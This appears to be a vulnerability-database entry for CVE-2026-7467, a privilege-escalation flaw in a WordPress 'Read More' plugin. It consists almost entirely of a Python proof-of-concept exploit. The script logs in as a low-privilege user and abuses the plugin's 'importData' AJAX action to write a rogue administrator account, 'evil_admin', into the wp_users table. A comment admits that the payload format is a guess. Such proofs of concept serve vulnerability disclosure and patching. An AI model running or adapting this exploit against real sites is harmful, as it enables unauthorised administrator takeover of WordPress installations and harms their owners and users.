CVE-2026-7467 WordPress Read More插件权限提升漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "attacker" password = "password" # Login session to obtain authentication cookies session = requests.Session() login_payload = { 'log': username, 'pwd': password, 'redirect_to': '', 'wp-submit': 'Log In', 'testcookie': '1' } session.post("http://example.com/wp-login.php", data=login_payload) # Exploit payload targeting the vulnerable importData function # This payload attempts to insert a new administrator into wp_users exploit_data = { 'action': 'importData', 'table_name': 'wp_users', 'data_to_import': 'user_login,evil_admin,user_email,[email protected],user_pass,$P$B1234567890fakehash,user_registered,2026-01-01 00:00:00,user_status,0' # Note: The exact format of 'data_to_import' depends on plugin parsing logic (CSV, JSON, etc.) } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check user list for 'evil_admin' with Administrator privileges.") else: print("[-] Failed to send payload.")